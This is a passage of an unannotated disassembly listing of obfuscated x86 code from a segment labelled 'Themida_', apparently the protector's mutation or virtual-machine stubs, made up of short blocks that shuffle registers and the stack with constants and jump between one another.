jmp loc_55888F
; ---------------------------------------------------------------------------
loc_55B740: ; CODE XREF: Themida_:0056204Aj
pop ebx
sub esp, 4
jmp loc_55ABE1
; ---------------------------------------------------------------------------
loc_55B749: ; CODE XREF: Themida_:00553B54j
mov [esp], eax
mov al, 0FBh
jmp loc_55053F
; ---------------------------------------------------------------------------
loc_55B753: ; CODE XREF: Themida_:0056451Bj
mov ebx, [esp]
add esp, 4
mov cl, ah
mov eax, [esp]
add esp, 4
push 4CF0h
jmp loc_55D177
; ---------------------------------------------------------------------------
loc_55B76B: ; CODE XREF: Themida_:00557E8Cj
xor ebp, 21524599h
sub eax, ebp
jmp loc_55CE72
; ---------------------------------------------------------------------------
loc_55B778: ; CODE XREF: Themida_:0055A675j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55C658
; ---------------------------------------------------------------------------
loc_55B783: ; CODE XREF: Themida_:0055A092j
push esi
mov esi, 23DC0218h
jmp loc_55F6AF
; ---------------------------------------------------------------------------
loc_55B78E: ; CODE XREF: Themida_:0055C40Bj
mov ebp, edx
jmp loc_564CF0
; ---------------------------------------------------------------------------
loc_55B795: ; CODE XREF: Themida_:00553B0Ej
sub esp, 4
jmp loc_552570
; ---------------------------------------------------------------------------
loc_55B7A0: ; CODE XREF: Themida_:00562DC1j
shr ecx, 4
xor ecx, 5E4D2A8Bh
xor eax, ecx
pop ecx
sub esp, 4
mov [esp], edx
push ebp
push ebx
mov ebx, 76E166ECh
jmp loc_55F43F
; ---------------------------------------------------------------------------
loc_55B7C1: ; CODE XREF: Themida_:005643CCj
mov ecx, 0FC1CF1FCh
xor ebp, ecx
pop ecx
mov eax, ebp
pop ebp
sub edi, eax
mov eax, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_55A297
; ---------------------------------------------------------------------------
loc_55B7E5: ; CODE XREF: Themida_:00550C21j
mov ebp, 4
add ecx, ebp
pop ebp
push ebx
mov ebx, 4
sub ecx, ebx
pop ebx
jmp loc_562B3D
; ---------------------------------------------------------------------------
loc_55B7FB: ; CODE XREF: Themida_:005646E6j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 3A69h
mov [esp], ebx
mov ebx, esp
push ecx
mov ecx, 71BE61AEh
jmp loc_55D3C5
; ---------------------------------------------------------------------------
loc_55B81D: ; CODE XREF: Themida_:005659B8j
mov [esp], eax
jmp loc_55FDA3
; ---------------------------------------------------------------------------
loc_55B825: ; CODE XREF: Themida_:0055C52Aj
add bl, 3
sub bl, cl
sub bl, 3
pop ecx
push small 424Ah
mov [esp], dx
jmp loc_5579BA
; ---------------------------------------------------------------------------
loc_55B83B: ; CODE XREF: Themida_:0055349Aj
add ebx, 75E81356h
add ebx, edx
push esi
mov esi, 75E81356h
sub ebx, esi
jmp loc_55B11B
; ---------------------------------------------------------------------------
loc_55B850: ; CODE XREF: Themida_:00557B8Cj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_557E20
; ---------------------------------------------------------------------------
loc_55B861: ; CODE XREF: Themida_:005658AEj
add bl, ah
pop eax
mov eax, [esp]
add esp, 4
add bl, al
push 7C80h
mov [esp], edx
mov dh, 77h
dec dh
or dh, 0EAh
push ax
mov al, 0EFh
jmp loc_551A78
; ---------------------------------------------------------------------------
loc_55B887: ; CODE XREF: Themida_:00555990j
mov ax, 990h
neg ax
add ax, 7D4Ah
jmp loc_552120
; ---------------------------------------------------------------------------
loc_55B897: ; CODE XREF: Themida_:00551011j
xor esi, 9392B8E1h
sub ebx, esi
pop esi
add ebx, ebp
add ebx, 74EB4359h
push esi
jmp loc_55F292
; ---------------------------------------------------------------------------
loc_55B8AE: ; CODE XREF: Themida_:00562BF7j
push esi
push dword ptr [esp+4]
jmp loc_551139
; ---------------------------------------------------------------------------
loc_55B8B8: ; CODE XREF: Themida_:0055506Ej
pop esp
mov [esp], ecx
push 503C5F6Eh
pop ecx
jmp loc_559929
; ---------------------------------------------------------------------------
loc_55B8C7: ; CODE XREF: Themida_:0056011Cj
add edx, 73B56B53h
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55B8D2: ; CODE XREF: Themida_:00563413j
mov dx, [esp]
add esp, 2
push ebp
push esp
pop ebp
add ebp, 4
push eax
mov eax, 4
sub ebp, 61396702h
sub ebp, eax
jmp loc_5587F5
; ---------------------------------------------------------------------------
loc_55B8F5: ; CODE XREF: Themida_:0055E4AEj
push ecx
mov cl, 2Fh
dec cl
jmp loc_559AC6
; ---------------------------------------------------------------------------
loc_55B8FF: ; CODE XREF: Themida_:0055F208j
add edx, edi
pop edi
add edx, 413F1A45h
add edx, ebp
sub edx, 413F1A45h
sub edx, 32AC16BFh
mov ebp, [esp]
jmp loc_55DA0E
; ---------------------------------------------------------------------------
loc_55B91E: ; CODE XREF: Themida_:00550DDAj
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push 65Fh
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_5646D4
; ---------------------------------------------------------------------------
loc_55B93F: ; CODE XREF: Themida_:00553653j
push esi
mov esi, 4
mov ecx, esi
pop esi
add ebx, ecx
pop ecx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_551E74
; ---------------------------------------------------------------------------
loc_55B959: ; CODE XREF: Themida_:005579DFj
mov edx, [esp]
sub esp, 4
mov [esp], edi
push esp
jmp loc_5655A8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4DCAh
mov [esp], ecx
mov ecx, esp
push ebp
mov ebp, 4
jmp loc_565721
; ---------------------------------------------------------------------------
loc_55B981: ; CODE XREF: Themida_:00553165j
mov ebx, 64B85905h
push ecx
push 2999h
jmp loc_56244C
; ---------------------------------------------------------------------------
loc_55B991: ; CODE XREF: Themida_:0055EA2Cj
mov [esp], ebx
mov bh, 86h
shr bh, 5
xor bh, 2Dh
sub bh, 0B8h
sub dh, bh
jmp loc_555806
; ---------------------------------------------------------------------------
loc_55B9A6: ; CODE XREF: Themida_:0055A4D5j
add esi, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
and eax, esi
mov esi, [esp]
add esp, 4
or edx, eax
shl edx, 1
push 21F4h
mov [esp], eax
mov eax, 0FFFFFFFFh
jmp loc_559148
; ---------------------------------------------------------------------------
loc_55B9D9: ; CODE XREF: Themida_:005658F1j
push 893h
mov [esp], edi
mov edi, 509C3DD8h
jmp loc_554BB2
; ---------------------------------------------------------------------------
loc_55B9EB: ; CODE XREF: Themida_:00551522j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push esi
push esp
jmp loc_554DB2
; ---------------------------------------------------------------------------
loc_55B9FF: ; CODE XREF: Themida_:0055AB8Bj
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_559219
; ---------------------------------------------------------------------------
loc_55BA0D: ; CODE XREF: Themida_:005631B4j
pop ecx
add esi, 183251C1h
and esi, 27F26A44h
push edi
mov edi, 0D382FE2Bh
sub esi, edi
jmp loc_558FA8
; ---------------------------------------------------------------------------
loc_55BA27: ; CODE XREF: Themida_:0055BE8Bj
cmp cl, al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55BA2F: ; CODE XREF: Themida_:0055AB7Bj
xor ebp, eax
jmp loc_564211
; ---------------------------------------------------------------------------
loc_55BA36: ; CODE XREF: Themida_:0055409Cj
xchg edx, [esp]
pop esp
push ebp
mov ebp, 4
jmp loc_55F202
; ---------------------------------------------------------------------------
loc_55BA45: ; CODE XREF: Themida_:00560A85j
mov dl, 0F8h
push eax
mov ah, 0DBh
sub dl, ah
jmp loc_55EFDA
; ---------------------------------------------------------------------------
loc_55BA51: ; CODE XREF: Themida_:0055D7D5j
add esi, 23B260BEh
push eax
mov eax, 7A8457F6h
jmp loc_5559C3
; ---------------------------------------------------------------------------
loc_55BA62: ; CODE XREF: Themida_:0055360Ej
sub ecx, 4
jmp loc_558E69
; ---------------------------------------------------------------------------
loc_55BA6A: ; CODE XREF: Themida_:005576E4j
push edx
mov edx, esp
add edx, 4
add edx, 2
xchg edx, [esp]
pop esp
push di
mov di, 481Ah
add [esp+4], di
pop di
sub word ptr [esp+2], 14A1h
add [esp+2], di
jmp loc_5513B8
; ---------------------------------------------------------------------------
loc_55BA9B: ; CODE XREF: Themida_:0055186Aj
pop esi
jmp loc_55E254
; ---------------------------------------------------------------------------
loc_55BAA1: ; CODE XREF: Themida_:0055D9D1j
add [esp+4], edi
mov edi, [esp]
add esp, 4
jmp loc_55202E
; ---------------------------------------------------------------------------
loc_55BAB0: ; CODE XREF: Themida_:005529F2j
push ebp
mov ebp, 31450F4Ah
xor edx, ebp
pop ebp
jmp loc_55D849
; ---------------------------------------------------------------------------
loc_55BABE: ; CODE XREF: Themida_:00563179j
sub bl, al
jmp loc_55B48E
; ---------------------------------------------------------------------------
loc_55BAC5: ; CODE XREF: Themida_:0055E6EBj
pop ecx
jmp loc_552F11
; ---------------------------------------------------------------------------
loc_55BACB: ; CODE XREF: Themida_:0055C919j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_5563EA
; ---------------------------------------------------------------------------
loc_55BAF4: ; CODE XREF: Themida_:00557FC4j
push 63D7h
mov [esp], ecx
jmp loc_553ADB
; ---------------------------------------------------------------------------
loc_55BB01: ; CODE XREF: Themida_:005605C7j
add eax, 0C8BDCEB9h
add ebx, eax
pop eax
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
bt [esp], eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55BB1F: ; CODE XREF: Themida_:0055B6FAj
xor dh, al
mov eax, [esp]
add esp, 4
push cx
mov ch, dh
dec ch
mov dh, ch
pop cx
sub dh, 0BCh
jmp loc_553A88
; ---------------------------------------------------------------------------
loc_55BB39: ; CODE XREF: Themida_:00561B11j
sub esp, 4
jmp loc_561BD0
; ---------------------------------------------------------------------------
loc_55BB44: ; CODE XREF: Themida_:00558482j
pop dword ptr [esp]
mov esp, [esp]
add ebx, 4F2A2FE6h
add ebx, esi
jmp loc_553A38
; ---------------------------------------------------------------------------
loc_55BB57: ; CODE XREF: Themida_:00558953j
xor [esp], esi
xor esi, [esp]
jmp loc_562A86
; ---------------------------------------------------------------------------
push esi
jmp loc_5636D4
; ---------------------------------------------------------------------------
loc_55BB68: ; CODE XREF: Themida_:00553DA9j
add esp, 4
mov bx, bp
pop ebp
push esi
mov si, 0A37h
neg si
jmp loc_55929D
; ---------------------------------------------------------------------------
loc_55BB7F: ; CODE XREF: Themida_:00552BBBj
mov al, dl
jmp loc_554075
; ---------------------------------------------------------------------------
loc_55BB86: ; CODE XREF: Themida_:0055DFB8j
shl esi, 1
sub esi, 0B68F019Eh
mov ebp, esi
pop esi
push ebp
sub dword ptr [esp], 3E24689Fh
pop esi
add esi, 3E24689Fh
jmp loc_55CC4E
; ---------------------------------------------------------------------------
loc_55BBA5: ; CODE XREF: Themida_:005520DAj
pop eax
push edx
mov edx, 0FFFFFFFFh
sub ebx, edx
pop edx
add ebx, 0E63AEC72h
push 2F29h
jmp loc_5534A9
; ---------------------------------------------------------------------------
loc_55BBBF: ; CODE XREF: Themida_:00555177j
push dword ptr [esp]
jmp loc_551218
; ---------------------------------------------------------------------------
loc_55BBC7: ; CODE XREF: Themida_:005622C1j
xchg ebx, [esp]
pop esp
mov [esp], edx
jmp loc_5608DF
; ---------------------------------------------------------------------------
loc_55BBD3: ; CODE XREF: Themida_:0055914Ej
pop eax
push edx
push esp
pop edx
add edx, 4
sub esp, 4
jmp loc_5533DD
; ---------------------------------------------------------------------------
loc_55BBE5: ; CODE XREF: Themida_:0055436Dj
push ebp
push ecx
jmp loc_55E6DF
; ---------------------------------------------------------------------------
loc_55BBEC: ; CODE XREF: Themida_:0055563Bj
dec eax
push 59CAh
mov [esp], edi
jmp loc_556C23
; ---------------------------------------------------------------------------
loc_55BBFA: ; CODE XREF: Themida_:00558CD8j
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], eax
push 26BEh
jmp loc_565AE4
; ---------------------------------------------------------------------------
loc_55BC11: ; CODE XREF: Themida_:0055514Ej
pop ecx
sub ecx, 5DBB113Ah
and ecx, 2C60338Eh
add ecx, 306C41E9h
mov esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_551B89
; ---------------------------------------------------------------------------
loc_55BC31: ; CODE XREF: Themida_:0055183Dj
mov ecx, eax
pop eax
jmp loc_556F8B
; ---------------------------------------------------------------------------
loc_55BC39: ; CODE XREF: Themida_:00551852j
push ebp
mov ebp, esp
sub esp, 4
mov [esp], ebx
push ecx
mov ecx, 6AA41FB8h
mov ebx, 7BE858h
add ebx, 0BD906F4h
jmp loc_555FB0
; ---------------------------------------------------------------------------
loc_55BC5B: ; CODE XREF: Themida_:00563AD6j
add eax, 4
push ecx
push edx
push 27BE46FFh
pop edx
mov ecx, 4AD8BC84h
jmp loc_559256
; ---------------------------------------------------------------------------
loc_55BC72: ; CODE XREF: Themida_:0055D972j
push edi
push ebp
pop edi
pop ebp
jmp loc_564C01
; ---------------------------------------------------------------------------
loc_55BC7B: ; CODE XREF: Themida_:00562B13j
sub ecx, esi
pop esi
xchg ecx, [esp]
pop esp
jmp loc_550B95
; ---------------------------------------------------------------------------
loc_55BC87: ; CODE XREF: Themida_:0055225Fj
or esi, edx
pop edx
sub esi, 60AC457Eh
sub ebx, esi
pop esi
add ebx, 7E882450h
add ebx, 2C28000Ah
jmp loc_55658B
; ---------------------------------------------------------------------------
loc_55BCA4: ; CODE XREF: Themida_:00558E2Ej
mov ebp, esp
add ebp, 4
add ebp, 4
push 5AD2h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_550571
; ---------------------------------------------------------------------------
loc_55BCC4: ; CODE XREF: Themida_:00563EDDj
and ebx, 36FC5A50h
or ebx, 4704B94h
not ebx
sub ebx, 4DB3C61h
jmp loc_559C3D
; ---------------------------------------------------------------------------
loc_55BCDD: ; CODE XREF: Themida_:005540DEj
mov ebp, [esp]
add esp, 4
jmp loc_559FB4
; ---------------------------------------------------------------------------
loc_55BCEB: ; CODE XREF: Themida_:0055654Fj
mov ebx, [esp]
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55BD02: ; CODE XREF: Themida_:0055361Aj
pop ecx
push ecx
mov ecx, 1CC23EE0h
jmp loc_551C3D
; ---------------------------------------------------------------------------
loc_55BD0E: ; CODE XREF: Themida_:00557933j
mov ecx, [esp]
add esp, 4
push ebp
push edx
sub dword ptr [esp], 777A4B80h
pop ebp
add ebp, 777A4B80h
mov edi, ebp
jmp loc_553173
; ---------------------------------------------------------------------------
loc_55BD2E: ; CODE XREF: Themida_:0055B157j
push eax
mov eax, 4
sub ecx, eax
jmp loc_55C0B8
; ---------------------------------------------------------------------------
loc_55BD3B: ; CODE XREF: Themida_:00556A7Cj
xor [esp], ebp
xor ebp, [esp]
jmp loc_550AB9
; ---------------------------------------------------------------------------
loc_55BD46: ; CODE XREF: Themida_:005656D6j
sub edi, 9F6DB5BEh
jmp loc_55F684
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
jmp loc_550C80
; ---------------------------------------------------------------------------
loc_55BD5A: ; CODE XREF: Themida_:0055E4DAj
dec edx
xor edx, 3C6DFF9Bh
mov ebp, edx
pop edx
add ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_55C5D6
; ---------------------------------------------------------------------------
loc_55BD75: ; CODE XREF: Themida_:0055969Fj
mov ah, 13h
xor ah, 0E5h
sub bl, ah
jmp loc_551BCB
; ---------------------------------------------------------------------------
loc_55BD81: ; CODE XREF: Themida_:00560C38j
add esi, edx
mov edx, [esp]
add esp, 4
sub esi, 4
jmp loc_55816A
; ---------------------------------------------------------------------------
loc_55BD94: ; CODE XREF: Themida_:005591C1j
mov edx, 42773085h
or ebp, edx
pop edx
xor ebp, 427F3C91h
push edi
mov edi, 6B9D4284h
shl edi, 5
add edi, 8361672h
add edi, 0CC85C29Fh
jmp loc_5636EE
; ---------------------------------------------------------------------------
loc_55BDBC: ; CODE XREF: Themida_:0055ACABj
sub ebp, 75A8719Bh
neg ebp
shr ebp, 2
not ebp
add ebp, 0AAEC5D9h
sub edx, 4BE83EBCh
add edx, 719F78A1h
sub edx, 5CF24296h
add edx, ebp
jmp loc_563379
; ---------------------------------------------------------------------------
loc_55BDE8: ; CODE XREF: Themida_:005579ECj
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_55EF09
; ---------------------------------------------------------------------------
loc_55BDF4: ; CODE XREF: Themida_:005511B6j
mov [esp], eax
mov eax, 0
jmp loc_560EB2
; ---------------------------------------------------------------------------
loc_55BE01: ; CODE XREF: Themida_:00561BEFj
sub esi, 45F8EE2Ah
neg esi
or esi, 68CF6E45h
sub esi, 62121328h
xor esi, 8DCDDCBBh
add edi, esi
pop esi
push ecx
jmp loc_552725
; ---------------------------------------------------------------------------
loc_55BE24: ; CODE XREF: Themida_:00563A0Cj
push ebp
mov ebp, 5B2654C4h
shr ebp, 7
jmp loc_55CC2D
; ---------------------------------------------------------------------------
loc_55BE32: ; CODE XREF: Themida_:00560155j
push edx
jmp loc_558DFD
; ---------------------------------------------------------------------------
loc_55BE38: ; CODE XREF: Themida_:0055ACECj
sub ecx, 4
xchg ecx, [esp]
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
jmp loc_55C7E7
; ---------------------------------------------------------------------------
loc_55BE58: ; CODE XREF: Themida_:0055943Aj
push esp
pop eax
jmp loc_562101
; ---------------------------------------------------------------------------
loc_55BE5F: ; CODE XREF: Themida_:005512B3j
sub eax, 3B401C47h
add eax, esi
add eax, 3B401C47h
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub eax, 0D25E51h
jmp loc_55DC95
; ---------------------------------------------------------------------------
loc_55BE88: ; CODE XREF: Themida_:005528BAj
mov esp, [esp]
jmp loc_55BA27
; ---------------------------------------------------------------------------
loc_55BE90: ; CODE XREF: Themida_:00561C96j
push 5E39h
mov [esp], edx
push edi
push 0F82234Dh
pop edi
push eax
mov eax, 2472544Bh
shl eax, 3
add eax, 0F8D480EDh
or edi, eax
pop eax
push ecx
jmp loc_55C323
; ---------------------------------------------------------------------------
loc_55BEB6: ; CODE XREF: Themida_:0055E4F9j
mov ebx, ebp
mov ebp, [esp]
add esp, 4
shr ebx, 6
sub esp, 4
jmp loc_556C85
; ---------------------------------------------------------------------------
loc_55BECF: ; CODE XREF: Themida_:00561493j
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5588E4
; ---------------------------------------------------------------------------
loc_55BEE6: ; CODE XREF: Themida_:00557461j
add ecx, 4
jmp loc_563056
; ---------------------------------------------------------------------------
loc_55BEF1: ; CODE XREF: Themida_:0055C31Ej
mov edi, esp
add edi, 4
add edi, 4
jmp loc_55FC0A
; ---------------------------------------------------------------------------
loc_55BF04: ; CODE XREF: Themida_:0055F2F3j
mov esp, [esp]
jmp loc_555757
; ---------------------------------------------------------------------------
loc_55BF0C: ; CODE XREF: Themida_:00562D87j
sub al, cl
pop ecx
sub al, 50h
add al, dh
jmp loc_55E2AE
; ---------------------------------------------------------------------------
loc_55BF18: ; CODE XREF: Themida_:0055DBA5j
xor ebp, 0A3A8BCC4h
mov ecx, ebp
jmp loc_555F55
; ---------------------------------------------------------------------------
loc_55BF25: ; CODE XREF: Themida_:0055248Fj
mov ebp, 1A5D286Bh
add ebp, 4E38DF5Eh
sub esi, ebp
pop ebp
mov edx, esi
pop esi
add edi, edx
pop edx
add edi, 4
push ebx
push esp
pop ebx
add ebx, 4
push ebp
mov ebp, 5FA8371Dh
dec ebp
and ebp, 3A5765C3h
neg ebp
xor ebp, 0E5FFDB04h
sub ebx, ebp
pop ebp
xchg ebx, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
jmp loc_56424A
; ---------------------------------------------------------------------------
loc_55BF6D: ; CODE XREF: Themida_:0055D6BEj
add edx, eax
jmp loc_557227
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55BF7B: ; CODE XREF: Themida_:0055E1C3j
push ecx
jmp loc_56461C
; ---------------------------------------------------------------------------
loc_55BF81: ; CODE XREF: Themida_:005528FFj
pop eax
xchg ebp, [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_550E29
; ---------------------------------------------------------------------------
loc_55BF90: ; CODE XREF: Themida_:0055F1FDj
pop eax
sub word ptr [esp+2], 22D0h
add [esp+2], di
add word ptr [esp+2], 22D0h
mov di, [esp]
jmp loc_562065
; ---------------------------------------------------------------------------
loc_55BFAD: ; CODE XREF: Themida_:0055F73Cj
pop ebp
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
xchg edx, [esp]
pop esp
jmp loc_554733
; ---------------------------------------------------------------------------
loc_55BFD5: ; CODE XREF: Themida_:0055C905j
mov esi, 66662C80h
and ebx, esi
jmp loc_56412D
; ---------------------------------------------------------------------------
loc_55BFE1: ; CODE XREF: Themida_:0055E1A1j
add esp, 4
push edi
jmp loc_55FE8E
; ---------------------------------------------------------------------------
loc_55BFEA: ; CODE XREF: Themida_:0055F896j
pop ebp
sub esi, 77C42039h
add esi, eax
jmp loc_55DD9F
; ---------------------------------------------------------------------------
loc_55BFF8: ; CODE XREF: Themida_:0055918Dj
mov eax, [esp]
jmp loc_550455
; ---------------------------------------------------------------------------
loc_55C000: ; CODE XREF: Themida_:00561750j
add esp, 4
push ebp
mov ebp, 6C410685h
neg ebp
jmp loc_553205
; ---------------------------------------------------------------------------
loc_55C013: ; CODE XREF: Themida_:00558BD8j
mov edx, 4
sub ecx, 2C153910h
add ecx, edx
add ecx, 2C153910h
pop edx
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
jmp loc_56473E
; ---------------------------------------------------------------------------
loc_55C039: ; CODE XREF: Themida_:0055112Cj
mov esp, [esp]
push ecx
jmp loc_552816
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
push 0F59h
mov [esp], esi
push 7A5011ACh
jmp loc_55D6E9
; ---------------------------------------------------------------------------
loc_55C060: ; CODE XREF: Themida_:0055B0AEj
add edi, ecx
jmp loc_564064
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55C077: ; CODE XREF: Themida_:0055E784j
mov ebp, esi
pop esi
not ebp
inc ebp
xor ebp, 0E576CD11h
and ebx, ebp
mov ebp, [esp]
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_55D35B
; ---------------------------------------------------------------------------
loc_55C09C: ; CODE XREF: Themida_:0055C1D1j
neg ebx
xor ebx, 3D940BB0h
add ebx, 628D16E9h
push edi
jmp loc_562DC6
; ---------------------------------------------------------------------------
loc_55C0B0: ; CODE XREF: Themida_:00562CEBj
shr edx, 3
jmp loc_551DDF
; ---------------------------------------------------------------------------
loc_55C0B8: ; CODE XREF: Themida_:0055BD36j
pop eax
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], edx
jmp loc_558224
; ---------------------------------------------------------------------------
loc_55C0D6: ; CODE XREF: Themida_:0056321Dj
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
xchg edx, ebx
jmp loc_553A7F
; ---------------------------------------------------------------------------
loc_55C0EE: ; CODE XREF: Themida_:00558E3Dj
pop eax
jmp loc_55CF05
; ---------------------------------------------------------------------------
loc_55C0F4: ; CODE XREF: Themida_:005602FDj
push ebx
jmp loc_564CBC
; ---------------------------------------------------------------------------
loc_55C0FA: ; CODE XREF: Themida_:0056350Ej
xor cl, 0CCh
push ebx
push edx
mov dh, 0
jmp loc_55EBA0
; ---------------------------------------------------------------------------
loc_55C106: ; CODE XREF: Themida_:0055AB0Fj
add ebx, edi
jmp loc_559BF9
; ---------------------------------------------------------------------------
loc_55C10D: ; CODE XREF: Themida_:00555935j
pop edi
pop dword ptr [esp]
jmp loc_5550F7
; ---------------------------------------------------------------------------
loc_55C116: ; CODE XREF: Themida_:005646E0j
mov [esp], edx
sub esp, 4
mov [esp], ebx
jmp loc_55DD8A
; ---------------------------------------------------------------------------
loc_55C127: ; CODE XREF: Themida_:00563CC3j
add esi, 158E6EDFh
sub eax, esi
pop esi
shl eax, 2
inc eax
jmp loc_553C14
; ---------------------------------------------------------------------------
loc_55C139: ; CODE XREF: Themida_:00554778j
add eax, 0B0BA803Eh
push 577Eh
mov [esp], ecx
sub esp, 4
mov [esp], eax
push eax
push edx
mov edx, 145E016Ah
mov eax, 4F9453EDh
sub eax, edx
mov edx, [esp]
add esp, 4
add dword ptr [esp+4], 3A6F468Dh
sub [esp+4], eax
sub dword ptr [esp+4], 3A6F468Dh
pop eax
mov ecx, [esp]
jmp loc_552F18
; ---------------------------------------------------------------------------
loc_55C183: ; CODE XREF: Themida_:0055FC05j
mov edi, 1DF870EBh
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_55F82B
; ---------------------------------------------------------------------------
loc_55C1A0: ; CODE XREF: Themida_:0055EBDFj
mov ebx, [esp]
add esp, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
jmp loc_554983
; ---------------------------------------------------------------------------
loc_55C1BB: ; CODE XREF: Themida_:0055751Aj
mov edx, 4
add edi, edx
pop edx
jmp loc_555930
; ---------------------------------------------------------------------------
loc_55C1C8: ; CODE XREF: Themida_:0055F7E9j
add ebx, 1
xor ebx, 16AE40B5h
jmp loc_55C09C
; ---------------------------------------------------------------------------
loc_55C1D6: ; CODE XREF: Themida_:0055A180j
add edx, 4
jmp loc_56203B
; ---------------------------------------------------------------------------
loc_55C1E1: ; CODE XREF: Themida_:00552E90j
mov esi, 301F0712h
add ebx, esi
pop esi
add ebx, 456E0EABh
add ebx, 231644C3h
sub ebx, eax
sub ebx, 231644C3h
sub ebx, 456E0EABh
jmp loc_554726
; ---------------------------------------------------------------------------
loc_55C208: ; CODE XREF: Themida_:00557C6Ej
add edx, 0F2E10DCh
jmp loc_5654D4
; ---------------------------------------------------------------------------
loc_55C213: ; CODE XREF: Themida_:005645A1j
mov [esp], eax
mov eax, 74EB2484h
neg eax
or eax, 6A1D16A1h
xor eax, 450B2E67h
and eax, 3C792AC0h
not eax
sub eax, 3D6B157Bh
mov esi, eax
jmp loc_557AE7
; ---------------------------------------------------------------------------
loc_55C23A: ; CODE XREF: Themida_:00551882j
mov eax, 12234727h
add [esp+4], eax
pop eax
jmp loc_55FCF1
; ---------------------------------------------------------------------------
loc_55C249: ; CODE XREF: Themida_:00561F91j
sub al, bl
add al, 88h
push dword ptr [esp]
pop ebx
push ebx
jmp loc_56334A
; ---------------------------------------------------------------------------
loc_55C257: ; CODE XREF: Themida_:005592F1j
add edx, ebp
push dword ptr [esp]
pop ebp
push esi
mov esi, esp
push ebp
mov ebp, 52447B14h
add ebp, 1D13427Fh
xor ebp, 582E1C48h
jmp loc_55418C
; ---------------------------------------------------------------------------
loc_55C277: ; CODE XREF: Themida_:0055F92Bj
mul cx
push small 6DA7h
mov [esp], dx
push ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55C28A: ; CODE XREF: Themida_:0055676Ej
push 806h
jmp loc_5527C3
; ---------------------------------------------------------------------------
loc_55C294: ; CODE XREF: Themida_:00561004j
shr ebp, 6
add ebp, 4DFE17DAh
push ebx
mov ebx, 22475F8Eh
shr ebx, 8
shr ebx, 6
not ebx
shr ebx, 8
jmp loc_5579F1
; ---------------------------------------------------------------------------
loc_55C2B3: ; CODE XREF: Themida_:00560FB9j
sub ebp, 0DE520D4h
pop ebx
push 17B7h
mov [esp], esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], edx
push 8934F6h
pop edx
jmp loc_557EF3
; ---------------------------------------------------------------------------
loc_55C2E2: ; CODE XREF: Themida_:00560D65j
sub esp, 4
mov [esp], ebp
push eax
push ebp
mov ebp, 95460F9h
dec ebp
not ebp
neg ebp
sub ebp, 7A2E50DAh
xchg esi, ebp
not esi
xchg esi, ebp
add ebp, 0E64010ACh
mov eax, ebp
pop ebp
mov ebp, 571A008Eh
xor ebp, eax
mov eax, [esp]
push 4E8Dh
mov [esp], edi
jmp loc_55BEF1
; ---------------------------------------------------------------------------
loc_55C323: ; CODE XREF: Themida_:0055BEB1j
mov ecx, 26E6148h
push ebp
mov ebp, 20E6DAF5h
jmp loc_550C72
; ---------------------------------------------------------------------------
loc_55C333: ; CODE XREF: Themida_:0055F958j
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_551E09
; ---------------------------------------------------------------------------
loc_55C345: ; CODE XREF: Themida_:005611E7j
or ch, 9Eh
add ch, 1Fh
jmp loc_559A55
; ---------------------------------------------------------------------------
loc_55C350: ; CODE XREF: Themida_:00552216j
pop esi
jmp loc_555035
; ---------------------------------------------------------------------------
loc_55C356: ; CODE XREF: Themida_:0055C71Aj
xchg edx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 0DE03AF9h
